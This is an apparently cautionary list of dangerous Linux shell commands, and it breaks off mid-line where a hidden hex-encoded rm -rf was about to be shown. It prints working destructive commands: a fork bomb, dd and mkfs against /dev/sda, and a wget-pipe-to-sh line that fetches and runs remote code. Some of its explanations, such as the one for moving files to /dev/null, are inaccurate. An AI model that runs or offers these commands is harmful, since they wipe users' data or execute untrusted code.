:(){:|:&};: Command
This command is actually a fork bomb. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
:(){:|:&};:
command > /dev/sda
The above example writes the output of ‘command‘ on the block /dev/sda. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.
mv folder /dev/null
The mv command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed.
# mv /home/user/* /dev/null
The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to blackhole (null).
wget http://malicious_source -O- | sh
This wget example will download a script from a malicious source and then execute it.mkfs.ext3 /dev/sda
The example will format the ‘sda’. After execution of the above command your Hard Disk Drive would be marked as ‘NEW’, You would be left without any data and in unrecoverable system stage.> file
This command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” it would ‘flush’ a configuration file or any other system file.^foo^bar
This command is used to edit the previous run command without the need of retyping the whole command again. This can really be really dangerous.dd if=/dev/random of=/dev/sda
This dd will wipe out the block device sda and write random junk. Your system would be left at inconsistent and unrecoverable stage.Hidden Command
The command bellow is nothing more than a rm -rf. Here, the command is hidden in in hex and the user may be fooled into running it. Running this code will wipe your root partition. This command here shows that the threat may be hidden and not normally detectable sometimes.char esp[] __attribute__ ((section(“.text”))) /* e.s.p
